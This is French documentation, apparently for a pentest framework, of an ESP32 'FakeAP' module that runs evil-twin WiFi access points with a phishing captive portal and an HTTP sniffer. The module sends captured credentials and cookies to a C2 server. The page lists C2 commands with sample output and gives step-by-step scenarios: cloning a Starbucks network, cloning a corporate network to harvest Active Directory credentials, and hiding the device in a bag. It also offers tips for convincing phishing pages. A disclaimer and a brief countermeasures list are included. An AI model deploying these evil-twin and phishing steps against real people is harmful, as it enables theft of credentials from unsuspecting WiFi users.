FakeAP Module¶
Le module FakeAP permet de créer des points d'accès WiFi malveillants avec portail captif et capture de credentials.
Usage Légal Uniquement
La création de points d'accès malveillants est illégale sans autorisation. Utilisez uniquement dans le cadre de pentests autorisés.
Configuration
Activer dans menuconfig: Epsilon Bot Configuration → Modules → Fake Access Point Commands
Vue d'Ensemble¶
┌────────────────────────────────────────────────────────────────────┐
│ FAKEAP MODULE │
├────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ ACCESS POINT │ │
│ │ │ │
│ │ SSID: "FreeWiFi" Mode: Open / WPA2 │ │
│ │ Channel: 6 IP: 192.168.4.1 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ CAPTIVE PORTAL │ │
│ │ │ │
│ │ ┌──────────────────────────────────────────────────────┐ │ │
│ │ │ Welcome to FreeWiFi │ │ │
│ │ │ │ │ │
│ │ │ Please enter your credentials to continue: │ │ │
│ │ │ │ │ │
│ │ │ Email: [__________________] │ │ │
│ │ │ Password: [__________________] │ │ │
│ │ │ │ │ │
│ │ │ [ Connect ] │ │ │
│ │ └──────────────────────────────────────────────────────┘ │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ HTTP SNIFFER │ │
│ │ │ │
│ │ Capture: POST data, cookies, credentials │ │
│ │ Output: → C2 Server (temps réel) │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
Fonctionnement¶
Flux d'Attaque¶
┌──────────┐ ┌───────────┐ ┌──────────────┐ ┌─────────┐
│ Victime │ ───► │ FakeAP │ ───► │ Portail │ ───► │ C2 │
│ │ │ (ESP32) │ │ Captif │ │ Server │
└──────────┘ └───────────┘ └──────────────┘ └─────────┘
│ │ │ │
│ 1. Connexion │ │ │
│ WiFi │ │ │
│ ─────────────────► │ │
│ │ │ │
│ 2. Requête HTTP │ │ │
│ ─────────────────► │ │
│ │ │ │
│ 3. Redirection │ │ │
│ ◄───────────────── │ │
│ │ │ │
│ 4. Affichage │ │ │
│ portail │ │ │
│ ◄──────────────────────────────────── │
│ │ │ │
│ 5. Saisie │ │ │
│ credentials │ │ │
│ ─────────────────────────────────────► │
│ │ │ │
│ │ │ 6. Envoi au C2 │
│ │ │ ───────────────────►
│ │ │ │
Commandes¶
fakeap_start¶
Démarre le point d'accès WiFi malveillant.
Syntaxe:
Paramètres:
| Paramètre | Type | Requis | Description |
|---|---|---|---|
ssid |
string | Oui | Nom du réseau WiFi |
mode |
string | Non | open (défaut) ou wpa2 |
password |
string | Si wpa2 | Mot de passe WPA2 (min 8 chars) |
Exemples:
# AP ouvert (Evil Twin classique)
c2:> send espilon-demo fakeap_start FreeWiFi
[espilon-demo] INFO: FakeAP started
# AP avec WPA2 (clone d'un réseau existant)
c2:> send espilon-demo fakeap_start CorpWiFi wpa2 Password123
[espilon-demo] INFO: FakeAP started
Configuration par défaut:
| Paramètre | Valeur |
|---|---|
| IP Gateway | 192.168.4.1 |
| DHCP Range | 192.168.4.2 - 192.168.4.254 |
| Channel | 6 (auto) |
| Max clients | 10 |
Gauche: Output ESP32 | Droite: Réponse dans C3PO
fakeap_stop¶
Arrête le point d'accès et déconnecte tous les clients.
Syntaxe:
Comportement:
- Arrête le sniffer (si actif)
- Arrête le portail captif (si actif)
- Déconnecte tous les clients
- Désactive le mode AP
fakeap_status¶
Affiche l'état actuel du module FakeAP.
Syntaxe:
Réponse:
Champs:
| Champ | Description |
|---|---|
| AP | État du point d'accès (ON/OFF) |
| Portal | État du portail captif (ON/OFF) |
| Sniffer | État du sniffer HTTP (ON/OFF) |
| Authenticated clients | Nombre de clients ayant soumis le formulaire |
Gauche: Output ESP32 | Droite: Réponse dans C3PO
fakeap_clients¶
Liste les clients actuellement connectés au FakeAP.
Syntaxe:
Réponse:
[espilon-demo] INFO: Connected clients:
MAC: aa:bb:cc:dd:ee:ff - IP: 192.168.4.2
MAC: 11:22:33:44:55:66 - IP: 192.168.4.3
MAC: de:ad:be:ef:ca:fe - IP: 192.168.4.4
Informations par client:
| Info | Description |
|---|---|
| MAC | Adresse MAC du client |
| IP | Adresse IP assignée par DHCP |
Gauche: Output ESP32 | Droite: Réponse dans C3PO
fakeap_portal_start¶
Active le portail captif. Tous les clients seront redirigés vers la page de phishing.
Syntaxe:
Prérequis: Le FakeAP doit être démarré.
Fonctionnement:
- Intercepte toutes les requêtes HTTP
- Redirige vers
http://192.168.4.1/ - Affiche le formulaire de capture
- Enregistre les credentials soumis
Page du portail:
Le portail affiche une page HTML simple demandant email/password. Les templates peuvent être personnalisés dans le firmware.
fakeap_portal_stop¶
Désactive le portail captif. Les clients peuvent naviguer librement.
Syntaxe:
fakeap_sniffer_on¶
Active le sniffer HTTP pour capturer les données POST.
Syntaxe:
Données capturées:
- Requêtes POST (formulaires)
- Cookies HTTP
- Headers d'authentification
- Données de formulaires en clair
Exemple de capture:
Gauche: Output ESP32 | Droite: Credentials capturés dans C3PO
fakeap_sniffer_off¶
Désactive le sniffer HTTP.
Syntaxe:
Scénarios d'Attaque¶
Evil Twin - WiFi Public¶
Cloner un réseau WiFi public pour capturer des credentials.
# 1. Scanner les réseaux à proximité (depuis un outil externe)
# 2. Créer un clone du réseau cible
c2:> send espilon-demo fakeap_start Starbucks_WiFi
# 3. Activer le portail captif
c2:> send espilon-demo fakeap_portal_start
# 4. Activer le sniffer
c2:> send espilon-demo fakeap_sniffer_on
# 5. Attendre les victimes...
# Les credentials apparaissent dans le C2
# 6. Nettoyage
c2:> send espilon-demo fakeap_stop
Corporate Clone - Pentest Entreprise¶
Cloner un réseau d'entreprise pour tester la vigilance des employés.
# 1. Créer un clone WPA2 du réseau corporate
c2:> send espilon-demo fakeap_start CorpNet wpa2 Welcome2024
# 2. Le mot de passe faible attire les employés frustrés
# qui ne peuvent pas se connecter au vrai réseau
# 3. Activer portail + sniffer
c2:> send espilon-demo fakeap_portal_start
c2:> send espilon-demo fakeap_sniffer_on
# 4. Le portail demande les credentials AD
# pour "vérification de sécurité"
Hotspot Mobile¶
Déploiement discret pour tests en mobilité.
# Configuration minimale
c2:> send espilon-mobile fakeap_start Free_WiFi
c2:> send espilon-mobile fakeap_portal_start
# L'ESP32 peut être alimenté par batterie USB
# et caché dans un sac ou sous une table
Implémentation¶
Fichiers Sources¶
| Fichier | Description |
|---|---|
cmd_fakeAP.c |
Handlers des commandes |
mod_fakeAP.c |
Gestion du mode AP |
mod_web_server.c |
Serveur HTTP + portail |
mod_netsniff.c |
Sniffer de paquets |
fakeAP_utils.h |
Utilitaires et config |
APIs ESP-IDF Utilisées¶
| API | Usage |
|---|---|
esp_wifi_set_mode(WIFI_MODE_AP) |
Mode Access Point |
esp_wifi_set_config() |
Configuration SSID/password |
esp_netif_set_ip_info() |
Configuration IP |
httpd_start() |
Serveur HTTP |
esp_wifi_set_promiscuous() |
Mode sniffer |
Structure du Portail¶
HTTP Server (port 80)
├── GET / → Page de login HTML
├── POST /login → Capture credentials
├── GET /success → Page de confirmation
└── GET /* → Redirection vers /
Personnalisation¶
Templates de Portail¶
Les templates HTML sont embarqués dans le firmware. Pour personnaliser:
- Modifier
mod_web_server.c - Éditer les constantes
HTML_LOGIN_PAGE,HTML_SUCCESS_PAGE - Recompiler et flasher
Styles Recommandés¶
Pour un phishing efficace, le portail devrait:
- Ressembler à une page d'authentification légitime
- Utiliser des couleurs/logos familiers
- Avoir un message convaincant ("Connexion requise", "Vérification de sécurité")
Limitations¶
| Limitation | Impact |
|---|---|
| HTTPS non supporté | Seul le trafic HTTP est capturé |
| Max 10 clients | Saturation possible en environnement dense |
| Single channel | Peut interférer avec le vrai réseau |
| Pas de déauth | L'attaquant doit attendre les connexions |
Contre-mesures (pour les défenseurs)¶
- Éduquer les utilisateurs sur les risques des WiFi publics
- Utiliser un VPN en WiFi public
- Vérifier les certificats HTTPS
- Détecter les Evil Twins avec des outils WIDS
- Utiliser WPA3 quand disponible
Précédent: Network Module | Suivant: Recon Camera